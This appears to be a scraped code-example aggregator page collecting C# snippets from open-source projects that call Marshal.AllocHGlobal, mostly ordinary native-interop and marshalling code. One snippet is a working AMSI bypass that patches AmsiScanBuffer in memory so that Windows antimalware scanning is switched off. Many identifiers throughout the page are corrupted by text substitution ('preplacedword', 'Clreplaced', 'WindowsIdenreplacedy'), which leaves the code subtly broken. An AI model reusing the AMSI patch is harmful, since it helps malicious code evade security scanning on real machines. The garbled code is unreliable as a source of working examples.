Here are the examples of the csharp api System.Runtime.InteropServices.Marshal.AllocHGlobal(int) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
1968 Examples
19
View Source File : PInvokeHooks.cs
License : zlib License
Project Creator : 0x0ade
License : zlib License
Project Creator : 0x0ade
public static void CallHooks(Messages Msg, IntPtr wParam, Message lParamMsg, bool global = true, bool window = true, bool allWindows = false) {
IntPtr lParam = Marshal.AllocHGlobal(MessageSize);
Marshal.StructureToPtr(lParamMsg, lParam, false);
CallHooks(Msg, wParam, lParam, lParamMsg: ref lParamMsg, global: global, window: window, allWindows: allWindows);
Marshal.FreeHGlobal(lParam);
}
19
View Source File : Class1.cs
License : GNU General Public License v3.0
Project Creator : 0xB455
License : GNU General Public License v3.0
Project Creator : 0xB455
public static int Patch()
{
//Get pointer for the amsi.dll
IntPtr TargetDLL = LoadLibrary("amsi.dll");
if (TargetDLL == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer!");
return 1;
}
//Get pointer for the AmsiScanBuffer function
IntPtr AmsiScanBufrPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
if (AmsiScanBufrPtr == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer!");
return 1;
}
/*
* Apply memory patching as described by Cyberark here:
* https://www.cyberark.com/threat-research-blog/amsi-bypreplaced-redux/
*/
UIntPtr dwSize = (UIntPtr)4;
uint Zero = 0;
//Pointer changing the AmsiScanBuffer memory protection from readable only to writeable (0x40)
if (!VirtualProtect(AmsiScanBufPtr, dwSize, 0x40, out Zero))
{
Console.WriteLine("ERROR: Could not modify AmsiScanBuffer memory permissions!");
return 1;
}
Byte[] Patch = { 0x31, 0xff, 0x90 }; //The new patch opcode
//Setting a pointer to the patch opcode array (unmanagedPointer)
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
//Patching the relevant line (the line which submits the rd8 to the edi register) with the xor edi,edi opcode
MoveMemory(AmsiScanBufrPtr + 0x001b, unmanagedPointer, 3);
Console.WriteLine("Great success. AmsiScanBuffer patched! :)");
return 0;
}
19
View Source File : MetadataCustomMarshaler.cs
License : MIT License
Project Creator : 0xC0000054
License : MIT License
Project Creator : 0xC0000054
public IntPtr MarshalManagedToNative(object ManagedObj)
{
if (ManagedObj == null)
{
return IntPtr.Zero;
}
WebPNative.MetadataParams metadata = (WebPNative.MetadataParams)ManagedObj;
IntPtr nativeStructure = Marshal.AllocHGlobal(NativeMetadataParamsSize);
unsafe
{
NativeMetadataParams* nativeMetadata = (NativeMetadataParams*)nativeStructure;
if (metadata.iccProfile != null && metadata.iccProfile.Length > 0)
{
nativeMetadata->iccProfile = Marshal.AllocHGlobal(metadata.iccProfile.Length);
Marshal.Copy(metadata.iccProfile, 0, nativeMetadata->iccProfile, metadata.iccProfile.Length);
nativeMetadata->iccProfileSize = new UIntPtr((uint)metadata.iccProfile.Length);
}
else
{
nativeMetadata->iccProfile = IntPtr.Zero;
nativeMetadata->iccProfileSize = UIntPtr.Zero;
}
if (metadata.exif != null && metadata.exif.Length > 0)
{
nativeMetadata->exif = Marshal.AllocHGlobal(metadata.exif.Length);
Marshal.Copy(metadata.exif, 0, nativeMetadata->exif, metadata.exif.Length);
nativeMetadata->exifSize = new UIntPtr((uint)metadata.exif.Length);
}
else
{
nativeMetadata->exif = IntPtr.Zero;
nativeMetadata->exifSize = UIntPtr.Zero;
}
if (metadata.xmp != null && metadata.xmp.Length > 0)
{
nativeMetadata->xmp = Marshal.AllocHGlobal(metadata.xmp.Length);
Marshal.Copy(metadata.xmp, 0, nativeMetadata->xmp, metadata.xmp.Length);
nativeMetadata->xmpSize = new UIntPtr((uint)metadata.xmp.Length);
}
else
{
nativeMetadata->xmp = IntPtr.Zero;
nativeMetadata->xmpSize = UIntPtr.Zero;
}
}
return nativeStructure;
}
19
View Source File : MetadataCustomMarshaler.cs
License : MIT License
Project Creator : 0xC0000054
License : MIT License
Project Creator : 0xC0000054
public IntPtr MarshalManagedToNative(object ManagedObj)
{
if (ManagedObj == null)
{
return IntPtr.Zero;
}
WebPNative.MetadataParams metadata = (WebPNative.MetadataParams)ManagedObj;
IntPtr nativeStructure = Marshal.AllocHGlobal(NativeMetadataParamsSize);
unsafe
{
NativeMetadataParams* nativeMetadata = (NativeMetadataParams*)nativeStructure;
if (metadata.iccProfile != null && metadata.iccProfile.Length > 0)
{
nativeMetadata->iccProfile = Marshal.AllocHGlobal(metadata.iccProfile.Length);
Marshal.Copy(metadata.iccProfile, 0, nativeMetadata->iccProfile, metadata.iccProfile.Length);
nativeMetadata->iccProfileSize = new UIntPtr((uint)metadata.iccProfile.Length);
}
else
{
nativeMetadata->iccProfile = IntPtr.Zero;
nativeMetadata->iccProfileSize = UIntPtr.Zero;
}
if (metadata.exif != null && metadata.exif.Length > 0)
{
nativeMetadata->exif = Marshal.AllocHGlobal(metadata.exif.Length);
Marshal.Copy(metadata.exif, 0, nativeMetadata->exif, metadata.exif.Length);
nativeMetadata->exifSize = new UIntPtr((uint)metadata.exif.Length);
}
else
{
nativeMetadata->exif = IntPtr.Zero;
nativeMetadata->exifSize = UIntPtr.Zero;
}
if (metadata.xmp != null && metadata.xmp.Length > 0)
{
nativeMetadata->xmp = Marshal.AllocHGlobal(metadata.xmp.Length);
Marshal.Copy(metadata.xmp, 0, nativeMetadata->xmp, metadata.xmp.Length);
nativeMetadata->xmpSize = new UIntPtr((uint)metadata.xmp.Length);
}
else
{
nativeMetadata->xmp = IntPtr.Zero;
nativeMetadata->xmpSize = UIntPtr.Zero;
}
}
return nativeStructure;
}
19
View Source File : AesGcm.cs
License : GNU General Public License v3.0
Project Creator : 0xfd3
License : GNU General Public License v3.0
Project Creator : 0xfd3
private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey)
{
byte[] objLength = GetProperty(hAlg, BCrypt.BCRYPT_OBJECT_LENGTH);
int keyDataSize = BitConverter.ToInt32(objLength, 0);
IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize);
byte[] keyBlob = Concat(BCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key);
uint status = BCrypt.BCryptImportKey(hAlg, IntPtr.Zero, BCrypt.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0);
if (status != BCrypt.ERROR_SUCCESS)
throw new CryptographicException(string.Format("BCrypt.BCryptImportKey() failed with status code:{0}", status));
return keyDataBuffer;
}
19
View Source File : AreaForm.cs
License : MIT License
Project Creator : 1CM69
License : MIT License
Project Creator : 1CM69
public static Cursor LoadEmbeddedCursor(byte[] cursorResource, int imageIndex = 0)
{
var resourceHandle = GCHandle.Alloc(cursorResource, GCHandleType.Pinned);
var iconImage = IntPtr.Zero;
var cursorHandle = IntPtr.Zero;
try
{
var header = (IconHeader)Marshal.PtrToStructure(resourceHandle.AddrOfPinnedObject(), typeof(IconHeader));
if (imageIndex >= header.count)
throw new ArgumentOutOfRangeException("imageIndex");
var iconInfoPtr = resourceHandle.AddrOfPinnedObject() + Marshal.SizeOf(typeof(IconHeader)) + imageIndex * Marshal.SizeOf(typeof(IconInfo));
var info = (IconInfo)Marshal.PtrToStructure(iconInfoPtr, typeof(IconInfo));
iconImage = Marshal.AllocHGlobal(info.size + 4);
Marshal.WriteInt16(iconImage + 0, info.hotspot_x);
Marshal.WriteInt16(iconImage + 2, info.hotspot_y);
Marshal.Copy(cursorResource, info.offset, iconImage + 4, info.size);
cursorHandle = NativeMethods.CreateIconFromResource(iconImage, info.size + 4, false, 0x30000);
return new Cursor(cursorHandle);
}
finally
{
if (cursorHandle != IntPtr.Zero)
NativeMethods.DestroyIcon(cursorHandle);
if (iconImage != IntPtr.Zero)
Marshal.FreeHGlobal(iconImage);
if (resourceHandle.IsAllocated)
resourceHandle.Free();
}
}
19
View Source File : WaveFormat.cs
License : MIT License
Project Creator : 3wz
License : MIT License
Project Creator : 3wz
public static IntPtr MarshalToPtr(WaveFormat format)
{
int formatSize = Marshal.SizeOf(format);
IntPtr formatPointer = Marshal.AllocHGlobal(formatSize);
Marshal.StructureToPtr(format, formatPointer, false);
return formatPointer;
}
19
View Source File : UacHelper.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley
License : GNU General Public License v3.0
Project Creator : AaronKelley
public static bool IsProcessElevated()
{
if (IsUacEnabled())
{
if (!OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_READ, out IntPtr tokenHandle))
{
throw new ApplicationException("Could not get process token. Win32 Error Code: " + Marshal.GetLastWin32Error());
}
try
{
TokenElevationType elevationResult = TokenElevationType.TokenElevationTypeDefault;
int elevationResultSize = Marshal.SizeOf(Enum.GetUnderlyingType(elevationResult.GetType()));
uint returnedSize = 0;
IntPtr elevationTypePtr = Marshal.AllocHGlobal(elevationResultSize);
try
{
bool success = GetTokenInformation(tokenHandle, TokenInformationClreplaced.TokenElevationType, elevationTypePtr, (uint)elevationResultSize, out returnedSize);
if (success)
{
elevationResult = (TokenElevationType)Marshal.ReadInt32(elevationTypePtr);
bool isProcessAdmin = elevationResult == TokenElevationType.TokenElevationTypeFull;
return isProcessAdmin;
}
else
{
throw new ApplicationException("Unable to determine the current elevation.");
}
}
finally
{
if (elevationTypePtr != IntPtr.Zero)
{
Marshal.FreeHGlobal(elevationTypePtr);
}
}
}
finally
{
if (tokenHandle != IntPtr.Zero)
{
CloseHandle(tokenHandle);
}
}
}
else
{
WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent();
WindowsPrincipal principal = new(idenreplacedy);
bool result = principal.IsInRole(WindowsBuiltInRole.Administrator) || principal.IsInRole(0x200); // 0x200 = Domain Administrator
return result;
}
}
19
View Source File : DellSmbiosBzh.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley
License : GNU General Public License v3.0
Project Creator : AaronKelley
private static bool RemoveDriver()
{
IntPtr serviceManagerHandle;
IntPtr serviceHandle;
bool result;
StopDriver();
serviceManagerHandle = ServiceMethods.OpenSCManager(null, null, ServiceAccess.ServiceManagerAllAccess);
if (serviceManagerHandle == IntPtr.Zero)
{
return false;
}
serviceHandle = ServiceMethods.OpenService(serviceManagerHandle, DriverName, ServiceAccess.AllAccess);
ServiceMethods.CloseServiceHandle(serviceManagerHandle);
if (serviceManagerHandle == IntPtr.Zero)
{
return false;
}
result = ServiceMethods.QueryServiceConfig(serviceHandle, IntPtr.Zero, 0, out int bytesNeeded);
if ((ErrorCode)Marshal.GetLastWin32Error() == ErrorCode.InsufficientBuffer)
{
IntPtr serviceConfigurationPtr = Marshal.AllocHGlobal(bytesNeeded);
result = ServiceMethods.QueryServiceConfig(serviceHandle, serviceConfigurationPtr, bytesNeeded, out _);
QueryServiceConfig serviceConfiguration = (QueryServiceConfig) Marshal.PtrToStructure(serviceConfigurationPtr, typeof(QueryServiceConfig));
if (!result)
{
Marshal.FreeHGlobal(serviceConfigurationPtr);
ServiceMethods.CloseServiceHandle(serviceHandle);
return result;
}
// If service is set to load automatically, don't delete it!
if (serviceConfigurationPtr != IntPtr.Zero && serviceConfiguration.startType == ServiceStartType.DemandStart)
{
result = ServiceMethods.DeleteService(serviceHandle);
}
Marshal.FreeHGlobal(serviceConfigurationPtr);
}
ServiceMethods.CloseServiceHandle(serviceHandle);
return result;
}
19
View Source File : DellSmbiosSmi.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley
License : GNU General Public License v3.0
Project Creator : AaronKelley
private static uint? GetSecurityKeyNew(SmiPreplacedword which, string preplacedword, PreplacedwordProperties properties)
{
// NOTE – Non-functional, need to figure out the string pointer before it will work.
if (GetPreplacedwordFormat(which, properties) == SmiPreplacedwordFormat.Scancode)
{
throw new NotImplementedException("BIOS wants scancode-encoded preplacedwords, but only ASCII-encoded preplacedwords are supported at this time.");
}
SmiObject message = new SmiObject
{
Clreplaced = (Clreplaced)which,
Selector = Selector.VerifyPreplacedwordNew
};
// Allocate a buffer for the preplacedword.
int bufferSize = properties.MaximumLength * 2;
IntPtr buffer = Marshal.AllocHGlobal(bufferSize);
// Zero out the buffer.
for (byte index = 0; index < bufferSize; index++)
{
Marshal.WriteByte(buffer, index, 0);
}
// Copy preplacedword into the buffer (ASCII-encoded).
byte[] preplacedwordBytes = ASCIIEncoding.ASCII.GetBytes(preplacedword);
Marshal.Copy(preplacedwordBytes, 0, buffer, Math.Min(preplacedword.Length, bufferSize));
message.Input1 = (uint)buffer.ToInt32();
ExecuteCommand(ref message);
Marshal.FreeHGlobal(buffer);
if (message.Input1 == (uint)SmiPreplacedwordCheckResult.Correct)
{
return message.Input2;
}
else
{
return null;
}
}
19
View Source File : DellSmbiosSmi.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley
License : GNU General Public License v3.0
Project Creator : AaronKelley
private static byte[] StructToByteArray(SmiObject message)
{
int size = Marshal.SizeOf(message);
byte[] array = new byte[size];
IntPtr pointer = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(message, pointer, true);
Marshal.Copy(pointer, array, 0, size);
Marshal.FreeHGlobal(pointer);
return array;
}
19
View Source File : DellSmbiosSmi.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley
License : GNU General Public License v3.0
Project Creator : AaronKelley
private static SmiObject ByteArrayToStruct(byte[] array)
{
SmiObject message = new SmiObject();
int size = Marshal.SizeOf(message);
IntPtr pointer = Marshal.AllocHGlobal(size);
Marshal.Copy(array, 0, pointer, size);
message = (SmiObject)Marshal.PtrToStructure(pointer, message.GetType());
Marshal.FreeHGlobal(pointer);
return message;
}
19
View Source File : OVRNetwork.cs
License : MIT License
Project Creator : absurd-joy
License : MIT License
Project Creator : absurd-joy
public byte[] ToBytes()
{
int size = Marshal.SizeOf(this);
Trace.replacedert(size == StructSize);
byte[] arr = new byte[size];
IntPtr ptr = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(this, ptr, true);
Marshal.Copy(ptr, arr, 0, size);
Marshal.FreeHGlobal(ptr);
return arr;
}
19
View Source File : OVRCommon.cs
License : MIT License
Project Creator : absurd-joy
License : MIT License
Project Creator : absurd-joy
private void Reallocate(int numBytes)
{
Release();
if (numBytes > 0)
{
m_ptr = Marshal.AllocHGlobal(numBytes);
m_numBytes = numBytes;
}
else
{
m_ptr = IntPtr.Zero;
m_numBytes = 0;
}
}
19
View Source File : OVRNetwork.cs
License : MIT License
Project Creator : absurd-joy
License : MIT License
Project Creator : absurd-joy
public static FrameHeader FromBytes(byte[] arr)
{
FrameHeader header = new FrameHeader();
int size = Marshal.SizeOf(header);
Trace.replacedert(size == StructSize);
IntPtr ptr = Marshal.AllocHGlobal(size);
Marshal.Copy(arr, 0, ptr, size);
header = (FrameHeader)Marshal.PtrToStructure(ptr, header.GetType());
Marshal.FreeHGlobal(ptr);
return header;
}
19
View Source File : PowerManager.cs
License : MIT License
Project Creator : ABTSoftware
License : MIT License
Project Creator : ABTSoftware
private Guid GetActiveGuid()
{
Guid ActiveScheme = Guid.Empty;
IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(IntPtr)));
if (PowerGetActiveScheme((IntPtr)null, out ptr) == 0)
{
ActiveScheme = (Guid)Marshal.PtrToStructure(ptr, typeof(Guid));
if (ptr != null)
{
Marshal.FreeHGlobal(ptr);
}
}
return ActiveScheme;
}
19
View Source File : PowerManager.cs
License : MIT License
Project Creator : ABTSoftware
License : MIT License
Project Creator : ABTSoftware
private static string GetPowerPlanName(Guid guid)
{
string name = string.Empty;
IntPtr lpszName = (IntPtr)null;
uint dwSize = 0;
PowerReadFriendlyName((IntPtr)null, ref guid, (IntPtr)null, (IntPtr)null, lpszName, ref dwSize);
if (dwSize > 0)
{
lpszName = Marshal.AllocHGlobal((int)dwSize);
if (0 == PowerReadFriendlyName((IntPtr)null, ref guid, (IntPtr)null, (IntPtr)null, lpszName, ref dwSize))
{
name = Marshal.PtrToStringUni(lpszName);
}
if (lpszName != IntPtr.Zero)
Marshal.FreeHGlobal(lpszName);
}
return name;
}
19
View Source File : FileHandle.cs
License : MIT License
Project Creator : action-bi-toolkit
License : MIT License
Project Creator : action-bi-toolkit
private static string GetNameFromHandle(SafeGenericHandle handle)
{
uint length;
NativeMethods.NtQueryObject(
handle,
OBJECT_INFORMATION_CLreplaced.ObjectNameInformation,
IntPtr.Zero, 0, out length);
IntPtr ptr = IntPtr.Zero;
try
{
try { }
finally
{
ptr = Marshal.AllocHGlobal((int)length);
}
if (NativeMethods.NtQueryObject(
handle,
OBJECT_INFORMATION_CLreplaced.ObjectNameInformation,
ptr, length, out length) != NTSTATUS.STATUS_SUCCESS)
{
return null;
}
var unicodeStringName = (UNICODE_STRING)Marshal.PtrToStructure(ptr, typeof(UNICODE_STRING));
return unicodeStringName.ToString();
}
finally
{
Marshal.FreeHGlobal(ptr);
}
}
19
View Source File : FileHandle.cs
License : MIT License
Project Creator : action-bi-toolkit
License : MIT License
Project Creator : action-bi-toolkit
private static string GetTypeFromHandle(SafeGenericHandle handle)
{
uint length;
NativeMethods.NtQueryObject(handle,
OBJECT_INFORMATION_CLreplaced.ObjectTypeInformation,
IntPtr.Zero,
0,
out length);
IntPtr ptr = IntPtr.Zero;
try
{
try
{
}
finally
{
ptr = Marshal.AllocHGlobal((int)length);
}
if (NativeMethods.NtQueryObject(handle,
OBJECT_INFORMATION_CLreplaced.ObjectTypeInformation,
ptr,
length,
out length) != NTSTATUS.STATUS_SUCCESS)
{
return null;
}
var typeInformation =
(PUBLIC_OBJECT_TYPE_INFORMATION)
Marshal.PtrToStructure(ptr, typeof(PUBLIC_OBJECT_TYPE_INFORMATION));
return typeInformation.TypeName.ToString();
}
finally
{
Marshal.FreeHGlobal(ptr);
}
}
19
View Source File : SystemUtility.cs
License : MIT License
Project Creator : action-bi-toolkit
License : MIT License
Project Creator : action-bi-toolkit
public static IEnumerable<FileHandle> GetHandles(int[] processIds)
{
var longProcIds = processIds.Select(Convert.ToUInt64).OrderBy(x => x).ToArray();
uint length = 0x10000;
IntPtr ptr = IntPtr.Zero;
try
{
try { }
finally
{
ptr = Marshal.AllocHGlobal((int)length);
}
uint returnLength;
NTSTATUS result;
while ((result = NativeMethods.NtQuerySystemInformation(
SYSTEM_INFORMATION_CLreplaced.SystemHandleInformation, ptr, length, out returnLength)) ==
NTSTATUS.STATUS_INFO_LENGTH_MISMATCH)
{
length = ((returnLength + 0xffff) & ~(uint)0xffff);
try { }
finally
{
Marshal.FreeHGlobal(ptr);
ptr = Marshal.AllocHGlobal((int)length);
}
}
if (result != NTSTATUS.STATUS_SUCCESS)
yield break;
long handleCount = Marshal.ReadInt64(ptr);
int offset = sizeof(long) + sizeof(long);
int size = Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX));
for (int i = 0; i < handleCount; i++)
{
var handleEntry =
(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)Marshal.PtrToStructure(
IntPtr.Add(ptr, offset), typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX));
if (Array.BinarySearch(longProcIds, handleEntry.UniqueProcessId) > -1
&& FileHandle.TryCreate(handleEntry.UniqueProcessId, handleEntry.HandleValue, handleEntry.ObjectTypeIndex, out var fileHandle))
{
yield return fileHandle;
}
offset += size;
}
}
finally
{
if (ptr != IntPtr.Zero)
Marshal.FreeHGlobal(ptr);
}
}
19
View Source File : AcrylicBlur.cs
License : MIT License
Project Creator : ADeltaX
License : MIT License
Project Creator : ADeltaX
public void EnableBlur()
{
var accent = new AccentPolicy
{
AccentFlags = (0x20 | 0x40 | 0x80 | 0x100),
AccentState = AccentState.ACCENT_ENABLE_ACRYLICBLURBEHIND,
GradientColor = (_blurOpacity << 24) | (_blurBackgroundColor & 0xFFFFFF)
};
var accentStructSize = Marshal.SizeOf(accent);
var accentPtr = Marshal.AllocHGlobal(accentStructSize);
Marshal.StructureToPtr(accent, accentPtr, false);
var data = new WindowCompositionAttributeData
{
Attribute = WindowCompositionAttribute.WCA_ACCENT_POLICY,
SizeOfData = accentStructSize,
Data = accentPtr
};
SetWindowCompositionAttribute(WindowHandle, ref data);
Marshal.FreeHGlobal(accentPtr);
}
19
View Source File : NativeMethods.cs
License : GNU General Public License v2.0
Project Creator : ADeltaX
License : GNU General Public License v2.0
Project Creator : ADeltaX
public static void _SendMessage(string msg, IntPtr target)
{
byte[] b = Encoding.UTF8.GetBytes(msg);
IntPtr hLog = Marshal.AllocHGlobal(b.Length);
Marshal.Copy(b, 0, hLog, b.Length);
COPYDATASTRUCT data = new COPYDATASTRUCT();
data.cbData = b.Length;
data.lpData = hLog;
SendMessage(target, WM_COPYDATA, 0, ref data);
}
19
View Source File : NativeMethods.cs
License : GNU General Public License v2.0
Project Creator : ADeltaX
License : GNU General Public License v2.0
Project Creator : ADeltaX
public static bool TryStartService(string svcName)
{
bool wasDisabled = false;
QUERY_SERVICE_CONFIG SvcConfig = new QUERY_SERVICE_CONFIG();
IntPtr hSvcMgr = OpenSCManager(null, null, SC_MANAGER_CONNECT);
IntPtr hSvc = OpenService(hSvcMgr, "TrustedInstaller",
SERVICE_CHANGE_CONFIG | SERVICE_QUERY_CONFIG | SERVICE_START);
// Check if the service was disabled
uint dummy = 0;
IntPtr ptr = Marshal.AllocHGlobal(4096);
if (!QueryServiceConfig(hSvc, ptr, 4096, out dummy)) return false;
Marshal.PtrToStructure(ptr, SvcConfig);
Marshal.FreeHGlobal(ptr);
wasDisabled = (SvcConfig.dwStartType == SvcStartupType.Disabled);
// If it was disabled, set it as manual temporary
if (wasDisabled)
{
if (!ChangeServiceConfig(hSvc, SERVICE_NO_CHANGE,
SvcStartupType.Manual, SERVICE_NO_CHANGE,
null, null, IntPtr.Zero, null, null, null, null)) return false;
}
// Start the service
StartService(hSvc, 0, null);
// If it was disabled, set it back to disabled
if (wasDisabled)
{
if (!ChangeServiceConfig(hSvc, SERVICE_NO_CHANGE,
SvcStartupType.Disabled, SERVICE_NO_CHANGE,
null, null, IntPtr.Zero, null, null, null, null)) return false;
}
// Clean up
CloseServiceHandle(hSvc);
CloseServiceHandle(hSvcMgr);
return true;
}
19
View Source File : DarksVMDataInitializer.cs
License : GNU General Public License v3.0
Project Creator : Aekras1a
License : GNU General Public License v3.0
Project Creator : Aekras1a
private static void* AllocateKoi(void* ptr, uint len)
{
var koi = (void*) Marshal.AllocHGlobal((int) len);
CopyMemory(koi, ptr, len);
return koi;
}
19
View Source File : DarksVMStack.cs
License : GNU General Public License v3.0
Project Creator : Aekras1a
License : GNU General Public License v3.0
Project Creator : Aekras1a
public IntPtr Localloc(uint guardPos, uint size)
{
var node = new LocallocNode
{
GuardPos = guardPos,
Memory = Marshal.AllocHGlobal((int) size)
};
var insert = localPool;
while(insert != null)
{
if(insert.Next == null || insert.Next.GuardPos < guardPos)
break;
insert = insert.Next;
}
if(insert == null)
{
localPool = node;
}
else
{
node.Next = insert.Next;
insert.Next = node;
}
return node.Memory;
}
19
View Source File : DiscordRPC.cs
License : GNU General Public License v3.0
Project Creator : aelariane
License : GNU General Public License v3.0
Project Creator : aelariane
private IntPtr StrToPtr(string input)
{
if (string.IsNullOrEmpty(input))
{
return IntPtr.Zero;
}
var convbytecnt = Encoding.UTF8.GetByteCount(input);
var buffer = Marshal.AllocHGlobal(convbytecnt + 1);
for (int i = 0; i < convbytecnt + 1; i++)
{
Marshal.WriteByte(buffer, i, 0);
}
_buffers.Add(buffer);
Marshal.Copy(Encoding.UTF8.GetBytes(input), 0, buffer, convbytecnt);
return buffer;
}
19
View Source File : UnmanagedBuffer.cs
License : Apache License 2.0
Project Creator : aequabit
License : Apache License 2.0
Project Creator : aequabit
private bool Alloc(int cb)
{
try
{
if (cb > this.Size)
{
this.Pointer = (this.Pointer == IntPtr.Zero) ? Marshal.AllocHGlobal(cb) : Marshal.ReAllocHGlobal(this.Pointer, new IntPtr(cb));
this.Size = cb;
}
return true;
}
catch (Exception exception)
{
return this.SetLastError(exception);
}
}
19
View Source File : utils.cs
License : GNU General Public License v3.0
Project Creator : Aeroblast
License : GNU General Public License v3.0
Project Creator : Aeroblast
public static T GetStructBE<T>(byte[] data, int offset)
{
int size = Marshal.SizeOf(typeof(T));
Byte[] data_trimed = SubArray(data, offset, size);
Array.Reverse(data_trimed);
IntPtr structPtr = Marshal.AllocHGlobal(size);
Marshal.Copy(data_trimed, 0, structPtr, size);
T r = (T)Marshal.PtrToStructure(structPtr, typeof(T));
Marshal.FreeHGlobal(structPtr);
return r;
}
19
View Source File : DispoIntPtr.cs
License : Mozilla Public License 2.0
Project Creator : agebullhu
License : Mozilla Public License 2.0
Project Creator : agebullhu
public static DispoIntPtr Alloc(int size)
{
return new DispoIntPtr(Marshal.AllocHGlobal(size));
}
19
View Source File : CustomAudioSinkSample.cs
License : MIT License
Project Creator : AgoraIO
License : MIT License
Project Creator : AgoraIO
private void PullAudioFrameThread()
{
var avsync_type = 0;
var bytesPerSample = 2;
var type = AUDIO_FRAME_TYPE.FRAME_TYPE_PCM16;
var channels = CHANNEL;
var samples = SAMPLE_RATE / PULL_FREQ_PER_SEC * CHANNEL;
var samplesPerSec = SAMPLE_RATE;
var buffer = Marshal.AllocHGlobal(samples * bytesPerSample);
var freq = 1000 / PULL_FREQ_PER_SEC;
var tic = new TimeSpan(DateTime.Now.Ticks);
while (_pullAudioFrameThreadSignal)
{
var toc = new TimeSpan(DateTime.Now.Ticks);
if (toc.Subtract(tic).Duration().Milliseconds >= freq)
{
tic = new TimeSpan(DateTime.Now.Ticks);
_audioRawDataManager.PullAudioFrame(buffer, (int) type, samples, bytesPerSample, channels,
samplesPerSec, 0, avsync_type);
var byteArray = new byte[samples * bytesPerSample];
Marshal.Copy(buffer, byteArray, 0, samples * bytesPerSample);
var floatArray = ConvertByteToFloat16(byteArray);
lock (audioBuffer)
{
audioBuffer.Put(floatArray);
}
writeCount += floatArray.Length;
count += 1;
}
if (count == 100)
{
_startSignal = true;
}
}
Marshal.FreeHGlobal(buffer);
}
19
View Source File : RawInputWnd.cs
License : GNU General Public License v3.0
Project Creator : aiportal
License : GNU General Public License v3.0
Project Creator : aiportal
private void GetRawInputData(IntPtr hRawInput)
{
try
{
int bsCount = -1;
int blen = 0;
int hlen = Marshal.SizeOf(typeof(RAWINPUTHEADER));
//TraceLogger.Instance.WriteLineInfo("Get RawInput data.");
bsCount = user32.GetRawInputData(hRawInput, RawInputCommand.Input, IntPtr.Zero, ref blen, hlen);
if ((bsCount == -1) || (blen < 1))
{ throw new Win32Exception(Marshal.GetLastWin32Error(), "GetRawInputData Error Retreiving Buffer size."); }
else
{
IntPtr pBuffer = Marshal.AllocHGlobal(blen);
try
{
bsCount = user32.GetRawInputData(hRawInput, RawInputCommand.Input, pBuffer, ref blen, hlen);
if (bsCount != blen)
{ throw new Win32Exception(Marshal.GetLastWin32Error(), "GetRawInputData Error Retreiving Buffer data."); }
else
{
RawInput ri = (RawInput)Marshal.PtrToStructure(pBuffer, typeof(RawInput));
FireRawInputEvent(ref ri);
}
}
catch (Exception ex) { TraceLogger.Instance.WriteException(ex); }
finally
{
Marshal.FreeHGlobal(pBuffer);
}
}
}
catch (Exception ex) { TraceLogger.Instance.WriteException(ex); }
}
19
View Source File : AccessPolicy.cs
License : GNU General Public License v3.0
Project Creator : aiportal
License : GNU General Public License v3.0
Project Creator : aiportal
private IEnumerable<MIB_TCPROW_OWNER_PID> EnumTcpConnectionsV4()
{
int dwSize = sizeof(int) + Marshal.SizeOf(typeof(MIB_TCPROW_OWNER_PID)) * 100;
IntPtr hTcpTable = IntPtr.Zero;
{
hTcpTable = Marshal.AllocHGlobal(dwSize);
int ret = iphlpapi.GetExtendedTcpTable(hTcpTable, ref dwSize, true, util.AF_INET, TCP_TABLE_CLreplaced.TCP_TABLE_OWNER_PID_CONNECTIONS, 0);
if (ret != util.NO_ERROR)
{
// retry for new dwSize.
Marshal.FreeHGlobal(hTcpTable);
hTcpTable = Marshal.AllocHGlobal(dwSize);
ret = iphlpapi.GetExtendedTcpTable(hTcpTable, ref dwSize, true, util.AF_INET, TCP_TABLE_CLreplaced.TCP_TABLE_OWNER_PID_CONNECTIONS, 0);
if (ret != util.NO_ERROR)
{
Marshal.FreeHGlobal(hTcpTable);
throw new Exception("GetExtendedTcpTable return: " + ret);
}
}
}
{
MIB_TCPROW_OWNER_PID item = new MIB_TCPROW_OWNER_PID();
int dwNumEntries = Marshal.ReadInt32(hTcpTable);
IntPtr pItem = new IntPtr(hTcpTable.ToInt32() + sizeof(int));
for (int i = 0; i < dwNumEntries; ++i)
{
//var item = (MIB_TCPROW_OWNER_PID)Marshal.PtrToStructure(pItem, typeof(MIB_TCPROW_OWNER_PID));
Marshal.PtrToStructure(pItem, item);
pItem = new IntPtr(pItem.ToInt64() + Marshal.SizeOf(typeof(MIB_TCPROW_OWNER_PID)));
yield return item;
}
Marshal.FreeHGlobal(hTcpTable);
}
}
19
View Source File : AccessPolicy.cs
License : GNU General Public License v3.0
Project Creator : aiportal
License : GNU General Public License v3.0
Project Creator : aiportal
private IEnumerable<MIB_TCP6ROW_OWNER_PID> EnumTcpConnectionsV6()
{
int dwSize = sizeof(int) + Marshal.SizeOf(typeof(MIB_TCP6ROW_OWNER_PID)) * 100;
IntPtr hTcpTable = IntPtr.Zero;
{
hTcpTable = Marshal.AllocHGlobal(dwSize);
int ret = iphlpapi.GetExtendedTcpTable(hTcpTable, ref dwSize, true, util.AF_INET6, TCP_TABLE_CLreplaced.TCP_TABLE_OWNER_PID_CONNECTIONS, 0);
if (ret != util.NO_ERROR)
{
// retry for new dwSize.
